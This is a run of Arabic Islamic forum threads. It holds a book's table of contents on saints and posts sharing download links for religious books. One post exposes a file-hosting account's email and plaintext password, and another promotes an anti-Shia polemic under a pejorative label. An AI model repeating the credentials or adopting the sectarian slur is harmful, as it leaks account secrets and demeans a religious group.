المبحثُ السادس -هل الأولياءُ معصومون؟ ...
المبحثُ السابع -الفرقُ بين الوليِّ ومدَّعي الولايةَ
المبحثُ الثامنُ-خاتمُ الأولياءِ ...
المبحثُ التاسع- الكَرَامَةُ ...
المبحثُ العاشر- هل كلُّ ما كان معجزةً لنبيٍّ كان كرامةً لوَليٍّ؟ ...
المبحثُ الحادي عشر -مَنْ همُ الأولياء؟
المبحث الثاني عشر -هل يحجبُ أولياءُ الله عن الناسِ؟ ...
المبحثُ الثالث عشر-خوارقُ العادات بين الكرامةِ والاستدراجِ ...
(يُتْبَع .. اقلب الصفحة)
(61/317)
المبحث الرابع عشر-هل يتميز أولياء الله عن الناس بشيء؟ ...
المبحث الخامس عشر-" الْحَقِيقَةُ " حَقِيقَةُ الدِّينِ: دِينُ رَبِّ الْعَالَمِينَ ...
المبحث السادس عشر-الْأَنْبِيَاءُ أَفْضَلُ مِنَ الْأَوْلِيَاءِ
المبحث السادس عشر-أَوْلِيَاءُ اللَّهِ الْمُتَّقُونَ هُمُ الْمُقْتَدُونَ بِمُحَمَّد - صلى الله عليه وسلم -
===============
البابُ الثاني-شرح حديث الولي ...
وفيه مباحث
المبحثُ الأول- نصُّ الحديث وشواهده
المبحث الثاني-حول صحَّةِ الحديثِ وما قيل فيه والجواب عنه ...
المبحث الثالث-الدفاعُ عن صحيحي البخاري ومسلم ...
المبحثُ الرابع-مفهوم الولاية في القرآن الكريم
المبحثُ الخامسُ-الحديثُ القدسيُّ والفرق بينه وبين الحديث العادي ...
المبحثُ السادسُ-معاني المفردات
المبحثُ السابعُ-معاداةُ أولياء الله تعالى مؤذنةٌ بالحرب من الله ...
المبحثُ الثامنُ-التقربُ إلى الله تعالى بالفرائض
المبحثُ التاسعُ-التقربُ إلى الله تعالى بالنوافلِ وتفاوت أولياء الله في ذلك
المبحثُ العاشر-ماذا يعطي الله تعالى من تقرب إليه بالفرائض والنوافل؟ ...
المبحث الحادي عشر-إجابةُ دعاء أولياء الله ...
المبحثُ الثاني عشر-هل يترددُ اللهُ تعالى بقبضِ روحِ أوليائهِ؟ ...
المبحث الثالث عشر-لماذا نكره الموت؟
المبحثُ الرابع عشر-الجوابُ عن الإشكالات السبعة في هذا الحديث ...
المبحثُ الرابعُ عشر-أهمُّ الدروس والعبر المستفادة من الحديث
وأخيرا خاتمة فيها خلاصة لهذا الموضوع.
وقد ذكرت أهم المراجع والمصادر التي نافت على الثلاثمائة وثلاثين مرجعاً ..
لذا أرجو أن أكون قد وفيتُ هذا الحديثَ حقَّهُ، وأجبتُ على كثير من التساؤلات والشُّبَهِ التي اختلف فيها الناس اليوم.
قال تعالى علي لسان النبي شعيب عليه السلام: {قَالَ يَا قَوْمِ أَرَأَيْتُمْ إِن كُنتُ عَلَىَ بَيِّنَةٍ مِّن رَّبِّي وَرَزَقَنِي مِنْهُ رِزْقًا حَسَنًا وَمَا أُرِيدُ أَنْ أُخَالِفَكُمْ إِلَى مَا أَنْهَاكُمْ عَنْهُ إِنْ أُرِيدُ إِلاَّ الإِصْلاَحَ مَا اسْتَطَعْتُ وَمَا تَوْفِيقِي إِلاَّ بِاللّهِ عَلَيْهِ تَوَكَّلْتُ وَإِلَيْهِ أُنِيبُ} (88) سورة هود.
أسأل الله تعالى أن يجعلنا وإياكم من أولياءه المتقين، وأن يختم لنا بالحسنى، وأن ينفع به كاتبه وقارئه والدال عليه وناشره في الدارين.
جمعه وأعده
الباحث في القرآن والسنة
علي بن نايف الشحود
في 12 محرم 1429هـ الموافق ل 20/ 1/2008م
وروجع بتاريخ 20 جمادى الآخرة 1429 هـ
- - - - - - - - - - - - - - - -
__________
(1) -مسند أحمد (28291) صحيح لغيره
(2) -صحيح البخارى (6502)
(3) - وقد يسر الله لنا تحقيقه ونشره.
(4) - وقد أخذت به رسالة دكتوراه من الأزهر قسم الفلسفة ونشر بكتاب ضخم
ـ[إسماعيل سعد]ــــــــ[20 - 09 - 08, 06:46 م]ـ
جزاكم الله خيرا
ـ[علي 56]ــــــــ[20 - 09 - 08, 07:51 م]ـ
وأنت أخي الحبيب جزاك الله خيرا(61/318)
اقتراحات في جمع كتب الشاملة، وفي أقسام الشاملة
ـ[أبو عبد الله الغيني]ــــــــ[20 - 09 - 08, 03:31 م]ـ
بسم الله الرحمن الرحيم
الحمد لله وكفى، وسلامٌ على عباده الذين اصطفى
أساتذتي الفضلاء وإخواني الأعزاء–حفظكم الله تعالى-
السلام عليكم ورحمة الله وبركاته
أما بعد:
فجزاكم الله خيراً على جهودكم المباركة في خدمة العلم وأهله؛ أسأل الله أن يؤمّنكم في الدنيا والآخرة، ويرفع درجاتكم، ولكل من ساهم في هذا المشروع العظيم، ويلحقنا بكم بفضله؛ إنه على كل شيء قدير.
عندي اقتراحات:
أ- بخصوص جمع كتب الشاملة:
أقترح أن تُفتحَ مشاركةٌ جديدةٌ بعنوان -مثلاً- "الكتب الزائدة على نسخة 6688"، كما فعله الأستاذ أبو يوسف في نسخة 6250؛ ويُطلَب فيها من الإخوة وضع جميع الملاحظات والاقتراحات على هذه النسخة، مع إضافة الكتب الزائدة، عليها، لاستدراكها في النسخ القادمة، فتكون الجهود موحَّدةً، ويعيَّن من ينسّق بين الجهود، وأقترح أن يكون هو أبا يوسف، لطول خبرته، وكثرة نشاطه في هذا الباب، ولا أزكّيه على الله.
ولذلك فوائد عظيمة، منها:
1 - عدم تكرار تحميل النسخ، من عدة أشخاص، وكان يمكن الجمع بين النسخ وإخراجها في ثوب واحد ممتاز، كما فعله الأخ الأستاذ أبو يوسف –جزاه الله خيراً- بهذه النسخة 6688.
2 - ومنها توفير الجهد والوقت والمال للإخوة؛ لأن كثيراً منهم قد يصعب عليه تحميل النسخ الجديدة في كل فترة. ولكن إذا كان المصدر موحَّداً، فتكون الكتب الزائدة على نسخة 6688 - مثلاً- بمثابة تحديثات، يمكن تحميلها على حدة، لمن أراد، وإضافتها إلى النسخة، دون الحاجة إلى تحميل نسخة جديدة كاملة، مما يوفر الوقت والجهد والمال ...
وأما من لا يستطيع الفهرسة وإدخال الكتب في الأرشيف، ونحوها، فيجعل لهم النسخة الجديدة الكاملة.
3 - ومنها إبراز الشاملة في أحسن حُلّة؛ لأن عمل الجماعة المخلصة مقدَّم –في الغالب-على العمل الفردي مهما كانت جودته؛ فيد الله مع الجماعة ...
ويمكن تفادي الفوضى بأساليب كثيرة، منها جمع الآراء، وأخذ رأي الأكثرية، أو عرضها على الأستاذ نافع ليقول بالقول الفيصل في القضية المختلف فيها اختلافا شديداً.
وبهذا يسير العمل إن شاء الله بلا فوضى.
لنؤمنْ تماماً أن الأمة لا تتقدم بالجهود الفردية مثل تقدمها بالجهود الجماعية؛ وهذه الشاملة 3.11 خير دليل على ذلك؛ ولولا الله، ثم إخلاص الأستاذ نافع –ولا أزكّيه على الله- بقبول الاقتراحات مهما كانت، والعمل على تفادي المشاكل، لما خرجت لنا هذه النسخة التي لا أعلم لها منافساً ...
بالجهود الجماعية ترتقي الأمم بإذن الله. بالجهود الجماعية ترتقي الأمم بإذن الله بإذن الله. بالجهود الجماعية ترتقي الأمم بإذن الله.
ب- بخصوص أقسام الشاملة:
وأقترح أن تكون أقسام الشاملة على المجموعات، كما يلي:
1 - القرآن الكريم، والتفسير، وعلوم القرآن (كل ما يتعلق بالقرآن الكريم)
2 - العقيدة ... (تحته كل ما يدخل في التوحيد والعقيدة، مع تصنيف كل نوع ... )
3 - الحديث، وعلومه (تحته المتون، والشروح، والتخريج، والعلل، والمصطلح، والتراجم، وكتب غريب الحديث ... كل ما يخصّ الحديث وعلومه)
4 - الفقه، وأصوله (تحته كل ما يخص الفقه وأصوله، وقواعده، مع التصنيف على المذاهب: الفقه الحنفي، فالمالكي، فالشافعي، ثم الحنبلي، ثم العام ... وكذلك تصنيف الأصول والقواعد على المذاهب ... )
5 - اللغة، والمعاجم (تحته كل ما يخصّ اللغة، مع تصنيف كل نوع: النحو والصرف، الأدب والبلاغة، المعاجم والقواميس ... )
4 - السيرة والتاريخ ... إلى آخر التصانيف ...
الترتيب المذكور هنا من باب التقريب، إلا أنه يستحسن تقديم أصول الدين التي هي الكتاب والسنة ومشتقاتهما على غيرهما.
بعد ذلك يرتَّب تحت كل صنف فروعه، مثلاً:
الحديث: يرتب هكذا: المتون (كل ما فيه المتن ... الصحاح، والسنن، والمسانيد ... )، ثم الشروح، ثم التخريج، ثم كتب الألباني، ثم علوم الحديث (وتحته: المصطلح، والعلل، والرجال، وكتب الموضوعات، وكتب غريب الحديث ... (كل ما فيه خدمة الحديث الشريف). وقس على ذلك باقي الأقسام.
والله أسأل لنا ولكم خيري الدنيا والآخرة، وأن يجعل عملنا خالصا لوجهه.
وصلّى الله على رسوله محمد وعلى آله وصحبه وسلّم
وآخر دعوانا أن الحمد لله ربّ العالمين.
طالبكم وأخوكم في الله.
«اتق الله حيثما كنت، وأتبع السيّئةَ الحسنةَ تمحها، وخالق الناس بخلقٍ حسنٍ» <! -- / message -->
ـ[إسماعيل سعد]ــــــــ[20 - 09 - 08, 06:46 م]ـ
جزاكم الله خيرا واقتراحات عظيمة(61/319)
سارعوا بتحميل:" المسالك في شرح موطإ مالك ": لابن العربي pdf، الذي يطبع لأول مرة ..
ـ[بلعباس]ــــــــ[20 - 09 - 08, 06:49 م]ـ
سارعوا بتحميل:" المسالك في شرح موطإ مالك ": لابن العربي pdf ، وإليكم رابط الموضوع من موقع الألوكة:
http://majles.alukah.net/showthread.php?p=143677#post143677
ـ[أبو عبد الله بن سعيد]ــــــــ[20 - 09 - 08, 07:28 م]ـ
جزاك الله خيراً
ـ[محمد بن جرير]ــــــــ[01 - 10 - 08, 09:07 م]ـ
أحسنت
ـ[أبو دان]ــــــــ[02 - 10 - 08, 03:55 م]ـ
بارك الله فيكم
كتاب تحفة في بابه نفيس في اسلوبه جوهرة في ترتيبه
ـ[أبو معاذ الهلالي]ــــــــ[03 - 10 - 08, 07:37 ص]ـ
جزاك الله خيرا وبارك في جهدك
ـ[بلعباس]ــــــــ[04 - 10 - 08, 08:29 م]ـ
للرفع ..(61/320)
مجموعة مفيدة عن الشيعة الرافضة
ـ[أبو عبد الله الغيني]ــــــــ[20 - 09 - 08, 08:17 م]ـ
بسم الله الرحمن الرحيم
الحمد لله وكفى، وسلامٌ على عباده الذين اصطفى
السلام عليكم ورحمة الله وبركاته
أما بعد:
فهذه مجموعة مفيدة عن الشيعة الرافضة.
هي عبارة عن مذكرة فيها مجموعة من الدروس والردود التي قد لا تجدها مجتمعة إلا في مثل هذه المجموعة. وفيها محاضرات صوتية.
لا أطيل عليكم، أرجو أن تجرّبوها فتبدوا فيها آراءكم، وجزاكم الله خيراً.
لأني أريد تطوير المذكرة المسمّاة "مغني العقلاء في معرفة حقيقة شاتم الصحابة الفضلاء"، فأنشرها بين الطلاب.
http://www.adrive.com/home/downloader
اسم الدخول: sidiki01@gmail.com
الرقم السري: Abou01974
الحرف الأول هو حرف كبير، والباقي كله حروف عادية
الموقع يحتاج إلى كون Java مثبّتاً على جهازك.
ومن استطاع إعادة رفعه بعد تجربته، فجزاه الله خيراً.
<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
بعد تنزيل الملفات، اجمعها في مجلّد واحد، ثم شغّ الملف الأول الذي فيه رقم واحد، ليتم فكّه بإذن الله عزّ وجلّ، وسيكون له اختصار على سطح المكتب، وفي قائمة البرامج إن شاء الله تعالى.< o:p></o:p>
والله أسأل لنا ولكم خيري الدنيا والآخرة، وأن ينفع به الإسلام والمسلمين. د< o:p></o:p>
وصلّى الله على رسوله محمد وعلى آله وصحبه وسلّم< o:p></o:p>
والحمد لله ربّ العالمين.
«اتق الله حيثما كنت، وأتبع السيّئةَ الحسنةَ تمحها، وخالق الناس بخلقٍ حسنٍ»
ـ[أبو عبد الله الغيني]ــــــــ[30 - 09 - 08, 10:07 ص]ـ
بسم الله الرحمن الرحيم< o:p></o:p>
<o:p> </o:p> الحمد لله ربّ العالمين، والصلاة والسلام على أشرف المرسلين، محمد وعلى آله وصحبه والتابعين< o:p></o:p>
أما بعد:< o:p></o:p>
فقد لاحظت عدم استجابة رابط تحميل الملفات في كثير من الأحيان؛ فهذه روابط أخرى:< o:p></o:p>
الملف الأول http://arabsh.com/1q3t27lju536.html
الملف الثاني http://arabsh.com/u1p2w1kd59m4.html
الملف الثالث http://arabsh.com/0dl4zf8wk1l9.html <o:p></o:p>
<o:p></o:p><link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CADMINI%7E1%5CLOCALS%7E1%5CTemp%5 Cmsohtml1%5C01%5Cclip_filelist.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixed*******>false</w:IgnoreMixed*******> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:"Traditional Arabic"; panose-1:2 1 0 0 0 0 0 0 0 0; mso-font-charset:178; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:24577 0 0 0 64 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; text-align:justify; text-indent:22.7pt; mso-pagination:none; direction:rtl; unicode-bidi:embed; font-size:18.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman"; mso-bidi-font-family:"Traditional Arabic"; color:black; mso-fareast-********:AR-SA;} @page Section1 {size:612.0pt 792.0pt; margin:72.0pt 90.0pt 72.0pt 90.0pt; mso-header-margin:36.0pt; mso-footer-margin:36.0pt; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:" جدول عادي"; mso-tstyle-rowband-size:0;
(يُتْبَع .. اقلب الصفحة)
(61/321)
mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-********:#0400; mso-fareast-********:#0400; mso-bidi-********:#0400;} </style> <![endif]--> أسأل الله أن ينفع به الإسلام والمسلمين.< o:p></o:p>
وصلّى الله على رسوله محمد وعلى آله وصحبه وسلّم< o:p></o:p>
معذرة، أرى أن الروابط قد لا تدعم كثيراً من برامج التحميل.
ـــــــــــــــــــــــ
< link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CADMINI%7E1%5CLOCALS%7E1%5CTemp%5 Cmsohtml1%5C01%5Cclip_filelist.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixed*******>false</w:IgnoreMixed*******> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:"Traditional Arabic"; panose-1:2 1 0 0 0 0 0 0 0 0; mso-font-charset:178; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:24577 0 0 0 64 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; text-align:justify; text-indent:22.7pt; mso-pagination:none; direction:rtl; unicode-bidi:embed; font-size:18.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman"; mso-bidi-font-family:"Traditional Arabic"; color:black; mso-fareast-********:AR-SA;} @page Section1 {size:595.3pt 841.9pt; margin:70.9pt 70.9pt 70.9pt 70.9pt; mso-header-margin:36.0pt; mso-footer-margin:36.0pt; mso-gutter-margin:1.0cm; mso-paper-source:0; mso-gutter-direction:rtl;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:" جدول عادي"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-********:#0400; mso-fareast-********:#0400; mso-bidi-********:#0400;} </style> <![endif]--> « اتق الله حيثما كنت، وأتبع السيّئةَ الحسنةَ تمحها، وخالق الناس بخلقٍ حسنٍ»
< o:p></o:p>
ـ[أبو عبد الله الغيني]ــــــــ[30 - 09 - 08, 04:06 م]ـ
بسم الله الرحمن الرحيم
وهذا رابط آخر، فيه الملف الكامل غير المجزّأ، ويساوي 71 ميغا بايت
http://www.zshare.net/download/196802429e41854a/
أسأل الله أن ينفع به المسلمين في الذب عن عرض النبي صلّى الله عليه وسلّم، وعن أعراض الصحابة أجمعين.
ـــــــــــــــــــــــ
(يُتْبَع .. اقلب الصفحة)
(61/322)
< link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CADMINI%7E1%5CLOCALS%7E1%5CTemp%5 %20%20Cmsohtml1%5C01%5Cclip_filelist.xml"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixed*******>false</w:IgnoreMixed*******> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:"Traditional Arabic"; panose-1:2 1 0 0 0 0 0 0 0 0; mso-font-charset:178; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:24577 0 0 0 64 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; text-align:justify; text-indent:22.7pt; mso-pagination:none; direction:rtl; unicode-bidi:embed; font-size:18.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman"; mso-bidi-font-family:"Traditional Arabic"; color:black; mso-fareast-********:AR-SA;} @page Section1 {size:595.3pt 841.9pt; margin:70.9pt 70.9pt 70.9pt 70.9pt; mso-header-margin:36.0pt; mso-footer-margin:36.0pt; mso-gutter-margin:1.0cm; mso-paper-source:0; mso-gutter-direction:rtl;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:" جدول عادي"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-********:#0400; mso-fareast-********:#0400; mso-bidi-********:#0400;} </style> <![endif]--> « اتق الله حيثما كنت، وأتبع السيّئةَ الحسنةَ تمحها، وخالق الناس بخلقٍ حسنٍ»(61/323)
أسبوعيات المساهم (19):كتاب المؤامرة الكبرى على بلاد الشام (لأول مرة) Pdf
ـ[المساهم]ــــــــ[29 - 09 - 08, 08:38 م]ـ
بسم الله الرحمن الرحيم
كتابنا للأسبوعية التاسعة عشر ضمن مشروع
(أسبوعيات المساهم)
المؤامرة الكبرى على بلاد الشام
دراسة تحليلية للنصف الأول من القرن العشرين
تأليف
محمد فاروق الخالدي
التحميل
archive (http://www.archive.org/details/moamrh) أو adrive (http://www.adrive.com/public/5cd89e82446b0f603e713a5bad88791103f3c33794ee3e22ee 08e0f9e12516fa.html)
بطاقة الكتاب
العنوان: المؤامرة الكبرى على بلاد الشام.
المؤلف: محمد فاروق الخالدي.
دار النشر: دار الراوي.
سنة الطبع: الطبعة الأولى (1421 هـ / 2000م).
نوع التغليف: مجلد (573 صفحة)
ـ[مصعب الجهني]ــــــــ[29 - 09 - 08, 08:47 م]ـ
أخي المساهم:
جزاك الله خير وبارك فيك .. أما لكتب الأنساب نصيب مما بجعبتك وتساهم به؟
ـ[أبو مازن العوضي]ــــــــ[30 - 09 - 08, 12:20 ص]ـ
جزاك الله خيرا
ـ[مهاجي جمال]ــــــــ[03 - 02 - 09, 02:17 ص]ـ
بارك الله فيك وبك(61/324)
أسبوعيات المساهم (20): كتاب التيارات الفكرية والعقدية (لأول مرة) Pdf
ـ[المساهم]ــــــــ[29 - 09 - 08, 08:46 م]ـ
بسم الله الرحمن الرحيم
في البداية أود أن أهنئ رواد المنتدى المبارك وأقول لهم عيدكم مبارك وتقبل الله طاعتكم، ومن ثم أعتذر للتأخر في طرح الموضوع لخلل بجهاز الكمبيوتر مما كاد ـ لولا لطف الله ـ أن يسبب بذهاب كثير من الكتب ومن ضمنها هدايا العيد ومصورات كتب لم تتم إلى الآن ولكن الله لطف وقدر، وأما كتابنا لهذه الأسبوعية العشرون ضمن مشروع (أسبوعيات المساهم) فهو يعتبر جزء ثان للكتاب التي تم رفعه في الأسبوعية التاسعة عشر
المؤامرة الكبرى على بلاد الشام ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149101)
وأما كتابنا اليوم فهو
التيارات الفكرية والعقدية
في النصف الثاني من القرن العشرين
تأليف
محمد فاروق الخالدي
التحميل
archive (http://www.archive.org/details/tyarat) أو adrive (http://www.adrive.com/public/e31ae36ad5f3d3847aeb5980f3929d6a94f7a1188fb7627d45 bf9888b6984323.html)
بطاقة الكتاب
العنوان: التيارات الفكرية والعقدية في النصف الثاني من القرن العشرين.
المؤلف: محمد فاروق الخالدي.
دار النشر: دار المعالي.
سنة الطبع: الطبعة الأولى (1423 هـ / 2002م).
نوع التغليف: مجلد (487 صفحة)
ـ[أبو مازن العوضي]ــــــــ[30 - 09 - 08, 12:22 ص]ـ
شكر الله سعيك
ـ[مهاجي جمال]ــــــــ[03 - 02 - 09, 02:22 ص]ـ
جزاك الله خيرا وبارك فيك(61/325)
هدية العيد: حمل كتاب الرد على الشاذلي في حزبه لشيخ الإسلام ابن تيمية
ـ[أبو عثمان_1]ــــــــ[30 - 09 - 08, 02:15 ص]ـ
حمل كتاب
الرد على الشاذلي في حزبه وما صنفه في آداب الطريق
تأليف
شيخ الاسلام ابن تيمية رحمه الله تعالى
اضغط هنا ( http://www.4shared.com/file/64516800/250f1986/____________.html?dirPwdVerified=f2086414)
وجزا الله خيرا من رفع هذا الكتاب على الشبكة
============
أبو عثمان
ـ[أبو عثمان_1]ــــــــ[30 - 09 - 08, 03:32 ص]ـ
وهذا رابط آخر للكتاب
http://www.almjhol.com/up/book/ibntaymyah&shazlie.rar
ـ[أبويعلى البيضاوي]ــــــــ[06 - 05 - 09, 01:02 ص]ـ
رابط الارشيف من الوقفية جزاهم الله خيرا
http://www.archive.org/download/waq89623/89623.pdf
ـ[عيسى بنتفريت]ــــــــ[06 - 05 - 09, 10:18 ص]ـ
جعله الله في صالح أعمالكم.(61/326)
تنوير البصائر للسعدي؟؟؟
ـ[عبدالرحمن الناصر]ــــــــ[30 - 09 - 08, 03:18 ص]ـ
السلام عليكم وتقبل الله صيامكم وقيامكم.
هل أجده على شبكة الانترنت؟؟
ـ[هاني القزاز]ــــــــ[30 - 09 - 08, 08:08 ص]ـ
يوجد على الشبكة له تيسير الكريم الرحمن في تفسير كلام المنان
وهذا رابط الجزء الأول http://elibrary.mediu.edu.my/books/BSQ0001_02.pdf
ـ[هاني القزاز]ــــــــ[30 - 09 - 08, 08:11 ص]ـ
وهذا رابط الجزء الثالث
http://elibrary.mediu.edu.my/books/BSQ0001_03.pdf
وهذا رابط الجزء الرابع
http://elibrary.mediu.edu.my/books/BSQ0001_03.pdf
وهذا رابط الجزء المتبقي
http://elibrary.mediu.edu.my/books/BSQ0001_01.pdf(61/327)
ما هي أفضل طريقة لتقليل حجم ملفات الـ pdf
ـ[ابو عبدالله الحنبلي]ــــــــ[30 - 09 - 08, 05:24 ص]ـ
السلام عليكم ورحمة الله وبركاته
كل عام وأنتم بخير , تقبل الله منا ومنكم صالح الأعمال.
بارك الله فيكم ما هي أفضل طريقة تستخدم لتقليل حجم ملفات pdf ?
أريد تقليل حجمها حتى أتمكن من توفير مساحة كافية لكتب أخرى وجزاكم الله خيرا
ـ[إبراهيم الأبياري]ــــــــ[01 - 10 - 08, 01:05 ص]ـ
وعليكم السلام ورحمة الله وبركاته.
تقبل الله منا ومنكم.
لأول مرة: طريقة تخفيض حجم الكتب ال pdf آليا ( http://www.ahlalhdeeth.com/vb/showthread.php?t=98688)(61/328)
((مجموع فتاوى ورسائل فضيلة الشيخ محمد بن صالح العثيمين)) نسخة مصورة 26 مجلدا - Pdf
ـ[أبو أيوب السليمان]ــــــــ[30 - 09 - 08, 06:29 م]ـ
مجموع فتاوى ورسائل فضيلة الشيخ محمد بن صالح العثيمين
26 مجلد Pdf
جمع وترتيب: فهد بن ناصر بن إبراهيم السليمان
دار الوطن
الطبعة الأخيرة 1413
حقوق الطبع لكل مسلم يريد طبعه لتوزيعه مجانا
الحجم الإجمالي: 190 ميجا
صفحة الكتاب:
http://www.archive.org/details/mfrfsmsomfrfsmso
منقول من الألوكة
http://majles.alukah.net/showthread.php?t=19732
ـ[أبو أيوب السليمان]ــــــــ[01 - 10 - 08, 05:47 ص]ـ
للرفع
ـ[حمود بن يحيى]ــــــــ[01 - 10 - 08, 08:17 ص]ـ
جزاكم الله خيرًا
ـ[ابو عبد المحسن]ــــــــ[01 - 10 - 08, 01:43 م]ـ
جزاكم الله خيراً هدية غالية ...
ـ[عبدالملك السبيعي]ــــــــ[01 - 10 - 08, 02:10 م]ـ
- جزاكم الله خيرا
ـ[أبو عبدالرحمن مصطفي]ــــــــ[05 - 10 - 08, 02:38 م]ـ
جزاكم الله خيراً يا أبا أيوب .. هل طورت برنامج الكتابة من ال pdf(61/329)
لأول مرة: (مشارع الأشواق إلى مصارع العشاق) لإبن النحاس - كاملاً
ـ[ماجد المسلم]ــــــــ[30 - 09 - 08, 11:04 م]ـ
العنوان: مشارع الأشواق إلى مصارع العشاق ومثير الغرام إلى دار السلام (في الجهاد وفضائله)
المؤلف: أبي زكريا أحمد بن ابراهيم بن محمد الدمشقي ثم الدمياطي المشهور بابن النحاس
تقديم: د. عبدالعزيز بن عبدالله الحميدي
تحقيق ودراسة: إدريس محمد علي ومحمد خالد إسطنبولي
الناشر: دار البشائر الإسلامية
الطبعة: الثالثة - 1423هـ / 2002 م
عدد المجلدات: إثنان مدمجة
عدد الصفحات: 1240 / مفهرس
الحجم: 35 ميغابايت
للتحميل:
http://www.4shared.com/file/65123542/ea2dedbd/__-_____.html
ـ[محمد عبدالعزيز المسلم]ــــــــ[01 - 10 - 08, 08:04 ص]ـ
جزاك الله خيرا وبارك فيك.
ـ[ماجد المسلم]ــــــــ[01 - 10 - 08, 10:03 م]ـ
جزاك الله خيرا وبارك فيك.
وايك أخي الحبيب وفيكم بارك الله
ـ[ماجد المسلم]ــــــــ[01 - 10 - 08, 10:05 م]ـ
رابط الكتاب بنصف حجمه الأصلي لمن كان لديه إتصال بطيئ:
http://www.4shared.com/file/65149299.../_____-__.html
ـ[بن سالم]ــــــــ[02 - 10 - 08, 12:27 ص]ـ
... جزاكَ اللهُ خيراً .. ونفعَ بكَ.
وما زِلنا ننتظر الجديدَ منكُم.
ـ[ماجد المسلم]ــــــــ[02 - 10 - 08, 12:05 م]ـ
... جزاكَ اللهُ خيراً .. ونفعَ بكَ.
وما زِلنا ننتظر الجديدَ منكُم.
آمين واياكم أخي الفاضل ..
ـ[صالحي أحمد]ــــــــ[02 - 10 - 08, 01:59 م]ـ
جزاكَ اللهُ خيراً .. ونفعَ بكَ.
ـ[ماجد المسلم]ــــــــ[03 - 10 - 08, 10:47 ص]ـ
واياكم أخي .. بارك الله فيك
ـ[أبو شمس أحمد]ــــــــ[03 - 10 - 08, 01:03 م]ـ
بارك الله فيكم0
ـ[أبو زارع المدني]ــــــــ[03 - 10 - 08, 04:35 م]ـ
بسم الله الرحمن الرحيم
الحمد لله رب العالمين , الرحمن الرحيم , مالك يوم الدين
اللهم صلّ وسلم وبارك على نبينا محمد وعلى آله وأصحابه أجمعين
كتاب: مشارع الأشواق إلى مصارع العشاق و مثير الغرام إلى دار السلام
(في الجهاد وفضائله)
تأليف
